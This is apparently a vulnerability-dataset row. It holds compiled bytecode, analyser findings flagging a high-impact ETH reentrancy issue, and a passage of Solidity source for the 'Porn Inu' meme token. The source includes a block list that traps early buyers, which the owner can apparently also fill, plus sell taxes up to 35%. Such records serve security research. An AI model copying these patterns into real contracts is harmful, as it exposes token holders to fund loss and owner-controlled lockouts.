fffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090612b30565b60405180910390fd5b600f60149054906101000a900460ff1615610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090612b9c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c729190612bd1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfd9190612bd1565b6040518363ffffffff1660e01b8152600401610d1a929190612bfe565b6020604051808303816000875af1158015610d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5d9190612bd1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610db4610dad61138d565b848461155e565b6001905092915050565b610dc661138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4a90612b30565b60405180910390fd5b60005b8151811015610ee457600160066000848481518110610e7857610e77612c27565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610edc90612c85565b915050610e56565b5050565b610ef061138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7490612b30565b60405180910390fd5b6000610f88306108ba565b9050610f9381611bf1565b50565b610f9e61138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102290612b30565b60405180910390fd5b61105f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666bfd8b6c1df0000611395565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110a8306108ba565b6000806110b3610a5e565b426040518863ffffffff1660e01b81526004016110d596959493929190612d12565b60606040518083038185885af11580156110f3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111189190612d88565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506601eb208c2dc0006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611219929190612ddb565b6020604051808303816000875af1158015611238573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125c9190612e19565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ee61138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137290612b30565b60405180910390fd5b81600c8190555080600b819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fb90612eb8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90612f4a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115519190612751565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612fdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361163c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116339061306e565b60405180910390fd5b6000811161164957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116a057600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117445750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa3576000600981905550600c54600a81905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118055750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561185b5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118735750600f60179054906101000a900460ff165b156118a8576000611883836108ba565b905060105461189b8284611e6a90919063ffffffff16565b11156118a657600080fd5b505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119535750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119c0576000600981905550600b54600a819055505b60006119cb306108ba565b9050600f60159054906101000a900460ff16158015611a385750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a505750600f60169054906101000a900460ff165b15611aa1576000600382611a6491906130bd565b90508082611a7291906130ee565b9150611a7d81611ec8565b611a8682611bf1565b60004790506000811115611a9e57611a9d47611b17565b5b50505b505b611aae838383611f18565b505050565b6000838311158290611afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af29190612602565b60405180910390fd5b5060008385611b0a91906130ee565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b7f573d6000803e3d6000fd5b5050565b6000600754821115611bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc190613194565b60405180910390fd5b6000611bd4611f28565b9050611be98184611f5390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c2957611c286128d8565b5b604051908082528060200260200182016040528015611c575781602001602082028036833780820191505090505b5090503081600081518110611c6f57611c6e612c27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d3a9190612bd1565b81600181518110611d4e57611d4d612c27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611db530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611395565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e19959493929190613272565b600060405180830381600087803b158015611e3357600080fd5b505af1158015611e47573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808284611e7991906132cc565b905083811015611ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb59061336e565b60405180910390fd5b8091505092915050565b6001600f60156101000a81548160ff0219169083151502179055506000811115611efa57611ef93061dead8361155e565b5b6000600f60156101000a81548160ff02191690831515021790555050565b611f23838383611f9d565b505050565b6000806000611f35612168565b91509150611f4c8183611f5390919063ffffffff16565b9250505090565b6000611f9583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121c4565b905092915050565b600080600080600080611faf87612227565b95509550955095509550955061200d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ee816122d9565b6120f88483612396565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121559190612751565b60405180910390a3505050505050505050565b60008060006007549050600066bfd8b6c1df0000905061219a66bfd8b6c1df0000600754611f5390919063ffffffff16565b8210156121b75760075466bfd8b6c1df00009350935050506121c0565b81819350935050505b9091565b6000808311829061220b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122029190612602565b60405180910390fd5b506000838561221a91906130bd565b9050809150509392505050565b60008060008060008060008060006122448a600954600a546123d0565b9250925092506000612254611f28565b905060008060006122678e878787612466565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab3565b905092915050565b60006122e3611f28565b905060006122fa82846124ef90919063ffffffff16565b905061234e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123ab8260075461228f90919063ffffffff16565b6007819055506123c681600854611e6a90919063ffffffff16565b6008819055505050565b6000806000806123fc60646123ee888a6124ef90919063ffffffff16565b611f5390919063ffffffff16565b905060006124266064612418888b6124ef90919063ffffffff16565b611f5390919063ffffffff16565b9050600061244f82612441858c61228f90919063ffffffff16565b61228f90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061247f85896124ef90919063ffffffff16565b9050600061249686896124ef90919063ffffffff16565b905060006124ad87896124ef90919063ffffffff16565b905060006124d6826124c8858761228f90919063ffffffff16565b61228f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083036125015760009050612563565b6000828461250f919061338e565b905082848261251e91906130bd565b1461255e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125559061345a565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125a3578082015181840152602081019050612588565b838111156125b2576000848401525b50505050565b6000601f19601f8301169050919050565b60006125d482612569565b6125de8185612574565b93506125ee818560208601612585565b6125f7816125b8565b840191505092915050565b6000602082019050818103600083015261261c81846125c9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061266382612638565b9050919050565b61267381612658565b811461267e57600080fd5b50565b6000813590506126908161266a565b92915050565b6000819050919050565b6126a981612696565b81146126b457600080fd5b50565b6000813590506126c6816126a0565b92915050565b600080604083850312156126e3576126e261262e565b5b60006126f185828601612681565b9250506020612702858286016126b7565b9150509250929050565b60008115159050919050565b6127218161270c565b82525050565b600060208201905061273c6000830184612718565b92915050565b61274b81612696565b82525050565b60006020820190506127666000830184612742565b92915050565b6000602082840312156127825761278161262e565b5b6000612790848285016126b7565b91505092915050565b6000806000606084860312156127b2576127b161262e565b5b60006127c086828701612681565b93505060206127d186828701612681565b92505060406127e2868287016126b7565b9150509250925092565b6000602082840312156128025761280161262e565b5b600061281084828501612681565b91505092915050565b600060ff82169050919050565b61282f81612819565b82525050565b600060208201905061284a6000830184612826565b92915050565b6128598161270c565b811461286457600080fd5b50565b60008135905061287681612850565b92915050565b6000602082840312156128925761289161262e565b5b60006128a084828501612867565b91505092915050565b6128b281612658565b82525050565b60006020820190506128cd60008301846128a9565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612910826125b8565b810181811067ffffffffffffffff8211171561292f5761292e6128d8565b5b80604052505050565b6000612942612624565b905061294e8282612907565b919050565b600067ffffffffffffffff82111561296e5761296d6128d8565b5b602082029050602081019050919050565b600080fd5b600061299761299284612953565b612938565b905080838252602082019050602084028301858111156129ba576129b961297f565b5b835b818110156129e357806129cf8882612681565b8452602084019350506020810190506129bc565b5050509392505050565b600082601f830112612a0257612a016128d3565b5b8135612a12848260208601612984565b91505092915050565b600060208284031215612a3157612a3061262e565b5b600082013567ffffffffffffffff811115612a4f57612a4e612633565b5b612a5b848285016129ed565b91505092915050565b60008060408385031215612a7b57612a7a61262e565b5b6000612a8985828601612681565b9250506020612a9a85828601612681565b9150509250929050565b60008060408385031215612abb57612aba61262e565b5b6000612ac9858286016126b7565b9250506020612ada858286016126b7565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b1a602083612574565b9150612b2582612ae4565b602082019050919050565b60006020820190508181036000830152612b4981612b0d565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612b86601783612574565b9150612b9182612b50565b602082019050919050565b60006020820190508181036000830152612bb581612b79565b9050919050565b600081519050612bcb8161266a565b92915050565b600060208284031215612be757612be661262e565b5b6000612bf584828501612bbc565b91505092915050565b6000604082019050612c1360008301856128a9565b612c2060208301846128a9565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c9082612696565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc257612cc1612c56565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000612cfc612cf7612cf284612ccd565b612cd7565b612696565b9050919050565b612d0c81612ce1565b82525050565b600060c082019050612d2760008301896128a9565b612d346020830188612742565b612d416040830187612d03565b612d4e6060830186612d03565b612d5b60808301856128a9565b612d6860a0830184612742565b979650505050505050565b600081519050612d82816126a0565b92915050565b600080600060608486031215612da157612da061262e565b5b6000612daf86828701612d73565b9350506020612dc086828701612d73565b9250506040612dd186828701612d73565b9150509250925092565b6000604082019050612df060008301856128a9565b612dfd6020830184612742565b9392505050565b600081519050612e1381612850565b92915050565b600060208284031215612e2f57612e2e61262e565b5b6000612e3d84828501612e04565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ea2602483612574565b9150612ead82612e46565b604082019050919050565b60006020820190508181036000830152612ed181612e95565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f34602283612574565b9150612f3f82612ed8565b604082019050919050565b60006020820190508181036000830152612f6381612f27565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fc6602583612574565b9150612fd182612f6a565b604082019050919050565b60006020820190508181036000830152612ff581612fb9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613058602383612574565b915061306382612ffc565b604082019050919050565b600060208201905081810360008301526130878161304b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006130c882612696565b91506130d383612696565b9250826130e3576130e261308e565b5b828204905092915050565b60006130f982612696565b915061310483612696565b92508282101561311757613116612c56565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061317e602a83612574565b915061318982613122565b604082019050919050565b600060208201905081810360008301526131ad81613171565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131e981612658565b82525050565b60006131fb83836131e0565b60208301905092915050565b6000602082019050919050565b600061321f826131b4565b61322981856131bf565b9350613234836131d0565b8060005b8381101561326557815161324c88826131ef565b975061325783613207565b925050600181019050613238565b5085935050505092915050565b600060a0820190506132876000830188612742565b6132946020830187612d03565b81810360408301526132a68186613214565b90506132b560608301856128a9565b6132c26080830184612742565b9695505050505050565b60006132d782612696565b91506132e283612696565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561331757613316612c56565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613358601b83612574565b915061336382613322565b602082019050919050565b600060208201905081810360008301526133878161334b565b9050919050565b600061339982612696565b91506133a483612696565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133dd576133dc612c56565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613444602183612574565b915061344f826133e8565b604082019050919050565b6000602082019050818103600083015261347381613437565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220919e58f8c4572b83d98c9e5ec803502d2a123b0079c4621b9690273f1dd4298464736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,912 |
0x04bafee7e187ea30877ee96db341283d3bb077b0 | /**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/**
* PornInu Inu is going to launch in the Uniswap at July 5.
This is fair launch and going to launch without any presale.
tg: https://t.me/PornInu
twitter: https://twitter.com/InuPorn
All crypto babies will become a PornInu in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PornInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Porn Inu";
string private constant _symbol = unicode" PINU ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
